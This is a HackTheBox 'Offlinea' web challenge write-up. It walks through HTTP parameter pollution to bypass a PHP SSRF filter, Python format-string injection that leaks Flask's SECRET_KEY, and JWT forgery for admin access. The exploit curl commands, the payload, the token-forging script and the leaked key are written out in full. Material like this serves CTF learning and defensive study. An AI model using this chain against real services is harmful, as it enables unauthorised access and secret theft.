← Back to Writeups
HTBN/AWeb

Offlinea

XESXOR8/23/20263 min read
#web#htb#n/a

Offlinea

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-31 | Status: Solved Techniques: hpp_ssrf_bypass, jwt_forgery, python_format_string_injection, secret_key_leak

Summary

"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260131_hackthebox_offlinea
  • Tags: flask, ssrf, php, jwt, python, format_string, http_parameter_pollution
  • Indicators: PHP + Flask dual service, URL parameter handling, .format() on user input, JWT authentication, SSRF protection bypass needed
  • Source: 20260131_hackthebox_offlinea.md

Foothold

Vulnerability / Misconfiguration

  1. Hpp_ssrf_bypass
  2. Jwt_forgery
  3. Python_format_string_injection
  4. Secret_key_leak
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • hpp_ssrf_bypass
  • jwt_forgery
  • python_format_string_injection
  • secret_key_leak
  • Tags: flask, ssrf, php, jwt, python, format_string, http_parameter_pollution

Original Writeup

<details><summary>Click to expand original content</summary>

Offlinea - HackTheBox

Description

"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"

Architecture

Two-service architecture:

  1. PHP Frontend (bartender.php on port 8000) - Accepts URL, name, secret parameters with SSRF protection
  2. Flask Backend (app.py on port 5000) - Internal service with endpoints:
  • /generate - Visits URLs with Selenium, stores in database
  • /bartender - Returns secrets (requires JWT with is_admin=true)
  • /logs - Shows URL history with format string vulnerability

Analysis

Vulnerability 1: SSRF via HTTP Parameter Pollution (HPP)

PHP and Flask handle multiple URL parameters differently:

  • PHP uses the LAST value: $_GET['url']
  • Flask uses the FIRST value: request.args.get('url')

This allows bypassing PHP's SSRF protection while making Flask visit internal URLs.

Vulnerability 2: Python Format String Injection

In the logify() function:

def logify(rec):
    history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec]
    history_1 = row_separator.join(history)
    log = history_1.format(logify=logify)  # VULNERABLE!
    return log

URLs stored in history are formatted with .format(), allowing format string injection like {logify.__globals__}.

Vulnerability 3: JWT Secret Key Leak

The Flask app's SECRET_KEY can be leaked via format string: {logify.__globals__[app].config}

Solution

Step 1: SSRF Bypass via Parameter Pollution

curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs&url=http://info.cern.ch/&name=test&secret=test"
  • PHP validates info.cern.ch (passes SSRF checks - public IP, TTL >= 40)
  • Flask visits 127.0.0.1:5000/logs (internal service)

Step 2: Format String Injection to Leak SECRET_KEY

# URL encode the format string payload
PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{logify.__globals__[app].config}'))")

curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs?$PAYLOAD&url=http://info.cern.ch/&name=test&secret=test"

This stores a URL with format string in history. When /logs is accessed, it leaks:

SECRET_KEY': '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7'

Step 3: Forge JWT Token

#!/usr/bin/env python3
import jwt

SECRET_KEY = '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7'
payload = {'is_admin': True, 'username': 'bartender'}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8

Step 4: Access Protected Endpoint via SSRF

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8"

curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/bartender?token=$TOKEN&url=http://info.cern.ch/&name=test&secret=test"

Response contains:

{"secrets":[{"name":"oldest_user_of_bartender","secret":"HTB{REDACTED}"},...]}

Attack Chain Summary

HPP SSRF Bypass -> Format String Injection -> SECRET_KEY Leak -> JWT Forgery -> Admin Access -> Flag

References

  • HTTP Parameter Pollution: Different frameworks parse duplicate params differently
  • Python format string: {obj.__globals__} leaks global namespace
  • JWT: HS256 tokens can be forged with known secret
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR